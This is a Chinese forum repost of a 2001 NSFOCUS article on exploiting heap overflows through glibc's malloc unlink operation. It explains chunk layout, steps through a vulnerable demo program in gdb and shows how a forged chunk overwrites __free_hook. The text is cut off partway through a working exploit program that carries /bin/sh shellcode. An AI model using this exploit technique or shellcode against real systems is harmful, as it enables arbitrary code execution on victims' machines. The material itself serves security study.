一种新的Heap区溢出技术分析[转贴]---http://www.linuxsir.org/bbs/thread50097.html
作者:warning3 < maito:warning3@nsfocus.com >
主页:http://www.nsfocus.com
日期:2001-3-09
原文出处:http://www.nsfocus.net/index.php?act=sec_self&do=view&doc_id=529&keyword=%D6%D6%D0%C2%B5%C4Heap%C7%F8%D2%E7%B3%F6%BC%BC%CA%F5%B7%D6
★ 前言

通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来
完成攻击。这方面内容请参看我原来翻译整理的<HEAP/BSS 溢出机理分析>:
http://magazine.nsfocus.com/detail.asp?id=353
如果系统中没有这些条件,尽管能够发生溢出,攻击者仍然很难执行自己的代码。
这里介绍一种利用malloc/realloc/free来进行攻击的方法。这种方法使得Heap
攻击的可能性大大增加了。

注:下面所有的代码均在redhat 6.1(x86)Linux系统下测试通过。(glibc-2.1.3-21)

★ 目录

1. 简单介绍
2. 一个简单的例子
3. malloc/calloc/realloc/free的基本概念
4. 两种可能的攻击方法
5. 针对弱点程序的两个演示程序
6. 实例: Traceroute "-g"问题

★ 正文

1. 简单介绍

使用malloc()或者calloc()可以动态分配一段内存,并向用户返回一个内存地
址,而实际上这个地址前面通常有8个字节的内部结构,用来记录分配的块长度
以及一些标志。如果这些结构的内容被覆盖,在某些malloc实现下,可能导致
攻击者将任意数据写到一个任意内存地址中去,从而可能改变程序执行流向,
以至执行任意代码。

2. 一个简单的例子

下面我们来看一个简单的例子,这是一个非常典型的Heap溢出问题程序。它分
配两块内存,然后向其中的一块拷贝了一些数据,由于没有检查数据长度,发
生溢出。

Shell代码
  1. /* A simple vulnerable program for malloc/free test - vul.c
  2. *           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
  3. *                                     2001/03/05
  4. */
  5. #include <stdlib.h>
  6. int
  7. main (int argc, char *argv[])
  8. {
  9. char *buf, *buf1;
  10. buf = malloc (16); /* 分配两块16字节内存 */
  11. buf1 = malloc (16);
  12. if (argc > 1)
  13. memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
  14. printf ("%#p [ buf  ] (%.2d) : %s \n", buf, strlen (buf), buf);
  15. printf ("%#p [ buf1 ] (%.2d) : %s \n", buf1, strlen (buf1), buf1);
  16. printf ("From buf to buf1 : %d\n\n", buf1 - buf);
  17. printf ("Before free buf\n");
  18. free (buf); /* 释放buf */
  19. printf ("Before free buf1\n");
  20. free (buf1); /* 释放buf1 */
  21. return 0;
  22. } /* End of main */
/* A simple vulnerable program for malloc/free test - vul.c
*           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
*                                     2001/03/05
*/#include <stdlib.h>int
main (int argc, char *argv[])
{char *buf, *buf1;buf = malloc (16); /* 分配两块16字节内存 */buf1 = malloc (16);if (argc > 1)memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */printf ("%#p [ buf  ] (%.2d) : %s \n", buf, strlen (buf), buf);printf ("%#p [ buf1 ] (%.2d) : %s \n", buf1, strlen (buf1), buf1);printf ("From buf to buf1 : %d\n\n", buf1 - buf);printf ("Before free buf\n");free (buf); /* 释放buf */printf ("Before free buf1\n");free (buf1); /* 释放buf1 */return 0;
} /* End of main */

现在让我们来看看结果:

[warning3@redhat-6 malloc]$ gcc -o vul vul.c -g
[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x16'`
0x8049768 [ buf ] (16) : AAAAAAAAAAAAAAAA <-- 一切正常
0x8049780 [ buf1 ] (00) :
From buf to buf1 : 24 <-- 两个buffer之间相差 16+8=24 字节

Before free buf
Before free buf1

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x20'`
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA <-- 为什么会是21字节??
0x8049780 [ buf1 ] (00) : <-- 溢出的数据还没有进入buf1"境内"
From buf to buf1 : 24

Before free buf
Before free buf1

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x21'`
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAAA <-- 这次字节数对了
0x8049780 [ buf1 ] (00) :
From buf to buf1 : 24

Before free buf
Segmentation fault (core dumped) <-- 出现可爱的段错误了
<-- " Before free buf1"怎么没有出现?说明段错误发生在执行free(buf)时

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x28'`
0x8049768 [ buf ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (04) : AAAA <-- 这回溢出的数据才算到达buf1"境内"
From buf to buf1 : 24

Before free buf
Segmentation fault (core dumped)

看起来,似乎这种段错误并不足以让我们执行自己代码,因为覆盖的地方既没有
函数指针,也没有任何所能利用的变量或结构,更别提返回地址了。别着急,接
下来我就会告诉你怎么利用free()来得到我们的shell.在正式开始之前,我要先
讲一下malloc/calloc/realloc/free的基本概念。

3. malloc/calloc/realloc/free的基本概念

malloc/calloc/realloc/free这几个函数,是用来分配或释放动态内存的。

目前很多Linux系统所用的malloc实现(包括libc5和glibc)都是由Doug Lea完成
的。我们下面所讲的,都是指这一版本的实现。

从Linux的Man手册MALLOC(3)中看到这些函数原型如下:

void *calloc(size_t nmemb, size_t size);
void *malloc(size_t size);
void free(void *ptr);
void *realloc(void *ptr, size_t size);

calloc()用来分配nmemb个size大小的内存块,并返回一个可用内存地址。
它会自动将得到的内存块全部清零。

malloc()用来分配size大小的内存块,并返回一个可用内存地址。

free()释放ptr所指向的内存。

realloc()用来将ptr指向的一块内存的大小改变为size.

我们需要注意的是free()和realloc()函数。它们都是比较危险的函数,如果
所提供的地址指针ptr所指向的内存是已经释放的,或者不是由malloc类函数
分配的话,就可能发生不可预料的情况。我们要利用的,也就是这些"不可预
料"的情况。

由于calloc()和malloc()差别不大,实际上都是调用的chunk_alloc()函数来
进行分配的,区别只是calloc()在最后调用了一个宏 MALLOC_ZERO来将分配
的内存块清零。因此后面除非特别指出,我们就只以malloc()为例.

malloc()定义了一个内部结构malloc_chunk来定义malloc分配或释放的内存块。

struct malloc_chunk
{
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};

prev_size是上一个块的大小,只在上一个块空闲的情况下才被填充
size是当前块的大小,它包括prev_size和size成员的大小(8字节)
fd是双向链表的向前指针,指向下一个块。这个成员只在空闲块中使用
bk是双向链表的向后指针,指向上一个块。这个成员只在空闲块中使用

对于已分配的内存,除了分配用户指定大小的内存空间外,还在前面增加了
malloc_chunk结构的前两个成员(8字节).一段已分配的内存结构如下图所示:

0 16 32
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 上一个块的字节数(如果上一个块空闲的话) | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 当前块的字节数 (size) |M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 用户数据开始... .
. .
. (用户可以用空间大小) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

这里chunk指针是malloc()在内部使用的,而返回给用户的是mem指针(chunk +
8),实际上向用户隐藏了一个内部结构。也就是说,如果用户要求分配size字节
内存,实际上至少分配size+8字节,只是用户可用的就是size字节(这里先不考
虑对齐问题)。nextchunk指向下一个内存块。

对于空闲(或者说已经释放的)块,是存放在一个双向循环链表(参见上面的
malloc_chunk结构)中的。

在内存中的分布基本如下图所示:

0 16 32
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 上一个块的字节数(prev_size) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | 当前块的字节数 (size) |M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 前指针(指向链表中的下一个块) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 后指针(指向链表中的上一个块) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 未被双向链表使用的空间(也可能是0字节长) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | 上一个块的字节数 (等于chunk->size) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

大家可能主要到两个表中都有一个"P"标志,它是"当前块字节数"(chunk->size)
中的最低一位,表示是否上一块正在被使用。如果P位置一,则表示上一块正在被
使用,这时chunk->prev_size通常为零;如果P位清零,则表示上一块是空闲块,
这是chunk->prev_size就会填充上一块的长度。

"M"位是表示此内存块是不是由mmap()分配的,如果置一,则是由mmap()分配的,
那么在释放时会由munmap_chunk()去释放;否则,释放时由chunk_free()完成。

这两位标志相关定义为:

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

由于malloc实现中是8字节对齐的,size的低3位总是不会被使用的,所以在实际
计算chunk大小时,要去掉标志位。例如:
#define chunksize(p) ((p)->size & ~(SIZE_BITS))

一次malloc最小分配的长度至少为16字节,例如malloc(0).(上面说的长度是指
chunk的长度)

了解了上面这些基本概念,我们再来看看free(mem)时做了些什么:

首先将mem转换为chunk(mem-8),并调用chunk_free()来释放chunk所指的内存块。

然后程序会检查其相邻(包括前后)的内存块是不是空闲的:
如果是空闲块的话,就将该相邻块从链表中摘除(unlink),然后将这些相邻的空
闲块合并;
如果不是空闲块的话,就只是设置后一个相邻块的prev_size和size(清
PREV_INUSE标志)。

最后将得到的空闲块加入到双向链表中去。

希望大家提问前先 google 关键词<br /> 希望大家提问前先看论坛的精华和置项的贴子<br /> 希望大家提问前先搜索论坛的相关内容<br /> 希望大家提问时把标题写清楚<br /> 希望大家贴代码时能保持缩进<br /> LFS ID:8158

顶0 踩0
kj501
kj501 我不在线
注册时间
2002-09-08 10:17:06
最后登录
2009-08-13 19:27:26
精华
36
帖子
5232
加为好友 关注 发站内信

用户头衔:★☆版★主☆★

状态:我不在线

沙发

发表于 2003-07-03 22:51:18 |只看该作者 |倒序浏览

在进行unlink操作时,实际上就是执行了一个链表结点的删除工作。
比如,如果要从链表中删除chunk结点,所要做得就是:
chunk0->fd <== chunk->fd
chunk1->bk <== chunk->bk

如下所示:

chunk0 chunk chunk1
+----------------------+..+----------------------+..+----------------------+
|prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk|
+----------------^-----+..+----------------+---+-+..+--------------------^-+
|_________________________| |_________________________|

malloc实现中是使用了一个unlink宏来完成这个操作的,定义如下:
/* take a chunk off a list */

#define unlink(P, BK, FD) \
{ \
BK = P->bk; \
FD = P->fd; \
FD->bk = BK; \
BK->fd = FD; \
}

发现了吗?这里有两个写内存的操作。如果我们能够覆盖chunk->fd和chunk->bk
的话,那么chunk->fd就会写到(chunk->bk + 8)这个地址,而chunk->bk就会被
写到(chunk->fd + 12)这个地址!换句话说,我们可以将任意4个字节写到任意
一个内存地址中去!!我们就可能改变程序的流程,比如覆盖函数返回地址、
覆盖PLT表项、.dtor结构等等,这不正是我们所要的吗?

free()和realloc()中都有unlink操作,因此我们要做的就是要想办法用合适的
值来覆盖空闲块结构中的*fd和*bk,并让unlink能够执行。

下面让我们再回到开头的那个问题程序,看一下如何攻击它。

4. 两种可能的攻击方法

先来看看弱点程序是怎么出错的:

[warning3@redhat-6 malloc]$ gdb ./vul -q
(gdb) b main
Breakpoint 1 at 0x80484a6: file vul.c, line 10.
(gdb) r `perl -e 'print "A"x21'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x20'`

Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10
10 buf = malloc (16); /* 分配两块16字节内存 */
(gdb) n
11 buf1 = malloc (16);
(gdb) p/x buf
$1 = 0x8049768
(gdb) x/20x buf-8
0x8049760: p: 0x00000000 0x00000019 buf:0x00000000 0x00000000
0x8049770: 0x00000000 0x00000000 *0x00000000 #0x00000889
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: 0x00000000 0x00000000 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

[ p表示内存块内部指针 ]

[ 注意上面加*号的地方,这里开始的结点是链表中的top结点, #号处是它的长度 ]

(gdb) p/x *(buf-4) <--- 这里存放的是当前块的大小,设置了PREV_INUSE位
$3 = 0x19
(gdb) p/x *(buf-4)&~0x1 <-- 算一下实际长度: 0x18 = 0x10 + 0x8
$4 = 0x18
(gdb) n
13 if (argc > 1)
(gdb) p/x buf1 <-- 分配第二块内存
$5 = 0x8049780

(gdb) x/20x buf-8
0x8049760: p:0x00000000 0x00000019 buf:0x00000000 0x00000000
0x8049770: 0x00000000 0x00000000 p1:0x00000000 0x00000019
0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: *0x00000000 #0x00000871 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

[ p1表示内存块内部指针 ]

[ 我们看到top结点后移了0x18字节,长度也缩小了0x18字节 ]

(gdb) n
13 if (argc > 1)
(gdb) n
14 memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) n
16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760: p:0x00000000 0x00000019 buf:0x41414141 0x41414141
0x8049770: 0x41414141 0x41414141 p1: 0x41414141 0x00000019
0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

[ 填入的20个字节已经溢出了buf,并覆盖到了第二个内存块的内部结构p1->prev_size ]
[ 紧接着的那个字节0x19是p1块的长度,所以下面再计算strlen(buf)时得到的长度为 ]
[ 21.现在你应该明白开头那个问题的答案了吧 ]

(gdb) c
Continuing.
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (00) :
From buf to buf1 : 24

Before free buf
Before free buf1

由于上面的情况下,p1的size部分没有被覆盖,因此系统认为buf前后的块都不
是空闲的,因此就不会有unlink操作,也就不会有段错误发生了。如果我们再增
加几个字节,就没有那么"幸运"了.

(gdb) b 14
Breakpoint 1 at 0x80484ca: file vul.c, line 14.
(gdb) r `perl -e 'print "A"x24'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x24'`

Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14
14 memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) x/20x buf-8
0x8049760: 0x00000000 0x00000019 0x00000000 0x00000000
0x8049770: 0x00000000 0x00000000 0x00000000 0x00000019
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) n
16 printf ("%#p [ buf ] (%.2d) : %s \n", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760: 0x00000000 0x00000019 0x41414141 0x41414141
0x8049770: 0x41414141 0x41414141 0x41414141 0x41414141
0x8049780: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) b 21 <-- 这时候buf1的内部结构(prev_size和size)已经被覆盖了
Breakpoint 2 at 0x804855e: file vul.c, line 21.
(gdb) c
Continuing.
0x8049768 [ buf ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (00) :
From buf to buf1 : 24

Before free buf

Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21
21 free (buf); /* 释放buf */
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x400740c4 in chunk_free (ar_ptr=0x40108d40, p=0x8049760) at malloc.c:3100
3100 malloc.c: No such file or directory.
(gdb) x/i $pc
0x400740c4 <chunk_free+268>: testb $0x1,0x4(%ecx,%esi,1)
(gdb) i r $ecx
ecx 0x41414140 1094795584 <-- 这个是覆盖后p1的块长度
(gdb) i r $esi
esi 0x8049778 134518648 <-- 这个是p1块的地址

下面我们来看free()是怎么工作的,以便确定到底是哪里发生了段错误。注意
下面的代码做了一些简化:

Shell代码
  1. void fREe(Void_t* mem)
  2. {
  3. ...
  4. (a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被设置,则调用munmap_chunk() */
  5. {
  6. munmap_chunk(p);
  7. return;
  8. }
  9. ...
  10. p = mem2chunk(mem);  /* 将用户地址转换成内部地址: p = mem - 8 */
  11. ...
  12. chunk_free(ar_ptr, p);
  13. }
  14. static void
  15. internal_function
  16. chunk_free(arena *ar_ptr, mchunkptr p)
  17. {
  18. INTERNAL_SIZE_T hd = p->size; /* hd是当前块地址  */
  19. INTERNAL_SIZE_T sz;  /* 当前块大小 */
  20. INTERNAL_SIZE_T nextsz; /* 下一个块大小 */
  21. INTERNAL_SIZE_T prevsz; /* 上一个块大小 */
  22. ...
  23. check_inuse_chunk(ar_ptr, p);
  24. sz = hd & ~PREV_INUSE;  /* 取得当前块的真实大小  */
  25. next = chunk_at_offset(p, sz); /* 得到下一个块的地址 */
  26. nextsz = chunksize(next); /* 得到下一个块的真实大小
  27. * #define chunksize(p) ((p)->size & ~(SIZE_BITS))
  28. */
  29. if (next == top(ar_ptr))  /* 如果下一个块是头结点,则与之合并 */
  30. {
  31. sz += nextsz;
  32. (b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
  33. {
  34. prevsz = p->prev_size;
  35. p = chunk_at_offset(p, -prevsz);
  36. sz += prevsz;
  37. unlink(p, bck, fwd);  /* 从链表中删除上一个结点 */
  38. }
  39. set_head(p, sz | PREV_INUSE);
  40. top(ar_ptr) = p;
  41. .....
  42. }
  43. /* 如果下一个块不是头结点 */
  44. (b)  if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/
  45. {
  46. prevsz = p->prev_size;
  47. p = chunk_at_offset(p, -prevsz);
  48. sz += prevsz;
  49. if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
  50. islr = 1;
  51. else
  52. unlink(p, bck, fwd);   /* 从链表中删除上一个结点 */
  53. }
  54. /* 根据我的判断,刚才的程序,是在进行这个检查时发生段错误的 */
  55. (c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的,则与之合并*/
  56. {
  57. sz += nextsz;
  58. if (!islr && next->fd == last_remainder(ar_ptr))
  59. /* re-insert last_remainder */
  60. {
  61. islr = 1;
  62. link_last_remainder(ar_ptr, p);
  63. }
  64. else
  65. unlink(next, bck, fwd);/* 从链表中删除下一个结点 */
  66. next = chunk_at_offset(p, sz);
  67. }
  68. else
  69. set_head(next, nextsz); /* 如果前后两个块都不是空闲的,则将下一个块的size
  70. 中的PREV_INUSE位清零 */
  71. set_head(p, sz | PREV_INUSE);
  72. next->prev_size = sz;   /* 将下一个块的prev_size部分填成当前块的大小 */
  73. if (!islr)
  74. frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 将当前这个块插入空闲块链表中 */
  75. .....
  76. }
void fREe(Void_t* mem) { ...  (a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被设置,则调用munmap_chunk() */   {     munmap_chunk(p);     return;   } ...   p = mem2chunk(mem);  /* 将用户地址转换成内部地址: p = mem - 8 */ ...   chunk_free(ar_ptr, p); }     static void internal_function chunk_free(arena *ar_ptr, mchunkptr p)  {   INTERNAL_SIZE_T hd = p->size; /* hd是当前块地址  */   INTERNAL_SIZE_T sz;  /* 当前块大小 */   INTERNAL_SIZE_T nextsz; /* 下一个块大小 */   INTERNAL_SIZE_T prevsz; /* 上一个块大小 */      ...      check_inuse_chunk(ar_ptr, p);    sz = hd & ~PREV_INUSE;  /* 取得当前块的真实大小  */   next = chunk_at_offset(p, sz); /* 得到下一个块的地址 */   nextsz = chunksize(next); /* 得到下一个块的真实大小                               * #define chunksize(p) ((p)->size & ~(SIZE_BITS))                              */  if (next == top(ar_ptr))  /* 如果下一个块是头结点,则与之合并 */   {     sz += nextsz;  (b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/     {       prevsz = p->prev_size;       p = chunk_at_offset(p, -prevsz);       sz += prevsz;       unlink(p, bck, fwd);  /* 从链表中删除上一个结点 */     }      set_head(p, sz | PREV_INUSE);     top(ar_ptr) = p;       .....     }  /* 如果下一个块不是头结点 */    (b)  if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的,则与之合并*/   {     prevsz = p->prev_size;     p = chunk_at_offset(p, -prevsz);     sz += prevsz;      if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */       islr = 1;     else       unlink(p, bck, fwd);   /* 从链表中删除上一个结点 */   }     /* 根据我的判断,刚才的程序,是在进行这个检查时发生段错误的 */ (c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的,则与之合并*/   {     sz += nextsz;     if (!islr && next->fd == last_remainder(ar_ptr))                                               /* re-insert last_remainder */     {       islr = 1;       link_last_remainder(ar_ptr, p);     }     else       unlink(next, bck, fwd);/* 从链表中删除下一个结点 */      next = chunk_at_offset(p, sz);   }   else     set_head(next, nextsz); /* 如果前后两个块都不是空闲的,则将下一个块的size                                 中的PREV_INUSE位清零 */      set_head(p, sz | PREV_INUSE);   next->prev_size = sz;   /* 将下一个块的prev_size部分填成当前块的大小 */   if (!islr)     frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 将当前这个块插入空闲块链表中 */    ..... } 

我们看到这里面有3个地方调用了unlink.如果想要执行它们,需要满足下列条件:

1. (a) 当前块的IS_MMAPPED位必须被清零,否则不会执行chunk_free()
2. (b) 上一个块是个空闲块 (当前块size的PREV_INUSE位清零)
或者
(c) 下一个块是个空闲块(下下一个块(p->next->next)size的PREV_INUSE位清零)

我们的弱点程序发生溢出时,可以覆盖下一个块的内部结构,但是并不能修改当前
块的内部结构,因此条件(b)是满足不了的。我们只能寄希望于条件(c).

所谓下下一个块的地址其实是由下一个块的数据来推算出来的,因此,既然我们
可以完全控制下一个块的数据,就可以让下下一个块的size的PREV_INUSE位为零。
这样程序就会认为下一个块是个空闲块了。假设当前块为块1,下一个块为块2,下
下一个块为块3,如下图所示:

块1 块2 伪造的块3
+----------------------+------------------------+..+-------------------------+
|prev_size|size|16bytes|prev_size2|size2|fd2|bk2| |prev_size3|size3|任意数据|
+----------------------+------------------------+..+-------------------------+
| | |
|--> p |-->next |-->next2next

next = p + (size & ~PREV_INUSE)
next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))

因此,只要我们能够通过修改size2,使得next2next指向一个我们控制的地址。
我们在这个地址伪造一个块3,使得此块的size3的PREV_INUSE位置零即可!

然后,在fd2处填入要覆盖的地址,例如函数返回地址等等。Solar Designer建议
可以使用__free_hook()的地址,这样再下一次调用free()时就会执行我们的代码。

在bk2处可以填入shellcode的地址。

实际构造的时候块2的结构如下:

prev_size2 = 0x11223344 /* 可以使用任意值 */
size2 = (next2next - next) /* 这个数值必须是4的倍数 */
fd2 = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2 = shellcode /* 这将导致fd2被写到shellcode + 8这个地址,所以需要
在shellcode前面放一段跳转语句以跳过fd2 */

伪造的块3则要求很低,只需要让size3的最后一位为0即可:

prev_size3 = 0x11223344 /* 可以使用任意值 */
size3 = 0xffffffff & ~PREV_INUSE /* 这里的0xffffffff可以用任意非零值替换 */

这个伪造的块可以放在任意可能的位置,例如块2的前面或者后面。如果要放在
块2的后面,由于size2是4个字节,因此如果距离比较小的话,那么size2是肯定
要包含零字节的,这会中断数据拷贝,因此距离必须足够远,以至于四个字节均
不为零,堆栈段是一个不错的选择,通过设置环境变量等方法我们也可以准确的
得到块3的地址。
如果我们要将块3放到块2的前面,那么size2就是个负值,通常是0xffffffxx等
等。这肯定满足size2不为零的要求,另外,这个距离我们也可以很精确的指定。
因此我们决定采用这种方法。

块1 ( 块3 ) 块2
+---------------------------------------+------------------------+
|prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
| |<---- 8 字节 -->|
| |
|<----- 16字节 -------->|

在上面的图上,我们将块3的8字节的内部结构放在了块1的用户数据区中,而
块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev
_size以及数据段,而块2的prev_size我们也不关心,我们还可以有更简化的
版本:将块3往右移动4个字节,即让siez3与prev_size2重合!

| 块1 |.... 块3 ..| 块2 |
+---------------------------------------+------------------------+
|prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
| |<-- 4字节-->| (size3)
| |
|<----- 16字节 -------->|

这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下:

prev_size2 = 0x11223344 & ~PREV_INUSE /* 我们用原来的size3代替 */
size2 = 0xfffffffc /* 长度为-4 */
fd2 = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2 = shellcode

至于块3的prev_size3,我们并不关心,因此并不需要再特别构造。这样一来,
我们的工作就大大简化了,只需要构造一个块2就可以了!
现在我们看看我们要做的事情:

i. 使用32字节数据模板,前16字节是任意非零数值,而后16字节是我们伪造的
块2

ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来
$ [warning3@redhat-6 malloc]$ gdb ./vul -e
(gdb) b main
Breakpoint 1 at 0x80484a6: file vul.c, line 10.
(gdb) r
Starting program: /home/warning3/malloc/./vul

Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
10 buf = malloc (16); /* 分配两块16字节内存 */
(gdb) p/x &__free_hook
$2 = 0x401091b8

iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码,以便
跳过一个malloc_chunk结构,因为(__free_hook-12)这个值会被写到
shellcode+8处.
+--------+---------------------+---------------+
|jmp 0x0a|nopnop...nopnopnopnop|正常的shellcode|
+--------+---------------------+---------------+
|<---- 10字节 ---->|

希望大家提问前先 google 关键词<br /> 希望大家提问前先看论坛的精华和置项的贴子<br /> 希望大家提问前先搜索论坛的相关内容<br /> 希望大家提问时把标题写清楚<br /> 希望大家贴代码时能保持缩进<br /> LFS ID:8158 

pasting

5. 一个演示程序

下面我们就可以来写溢出程序了,其实是相当简单的:

Shell代码
  1. /* Exploit for free() with unlinking next chunk - ex.c
  2. *           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
  3. *                                     2001/03/06
  4. */
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #define __FREE_HOOK     0x401091b8  /* __free_hook()地址 */
  8. #define VULPROG "./vul"
  9. #define PREV_INUSE 0x1
  10. #define IS_MMAPPED 0x2
  11. char shellcode[] =
  12. "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/
  13. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  14. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  15. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  16. main (int argc, char **argv)
  17. {
  18. unsigned int codeaddr = 0;
  19. char buf[128], fake_chunk[16];
  20. char *env[2];
  21. unsigned int *ptr;
  22. /* 计算shellcode在堆栈中的地址 */
  23. codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
  24. env[0] = shellcode;
  25. env[1] = NULL;
  26. /* 伪造一个块结构 */
  27. ptr = (unsigned int *) fake_chunk;
  28. *ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
  29. /* 设置长度为-4,这个值应当是4的倍数 */
  30. *ptr++ = 0xfffffffc;
  31. *ptr++ = __FREE_HOOK - 12 ;
  32. *ptr++ = codeaddr;
  33. bzero(buf, 128);
  34. memset (buf, 'A', 16); /* 填充无用数据 */
  35. memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
  36. execle (VULPROG, VULPROG, buf, NULL, env);
  37. } /* End of main */
/* Exploit for free() with unlinking next chunk - ex.c
*           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
*                                     2001/03/06
*/#include <stdio.h>
#include <stdlib.h>#define __FREE_HOOK     0x401091b8  /* __free_hook()地址 */
#define VULPROG "./vul"#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2char shellcode[] ="\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv)
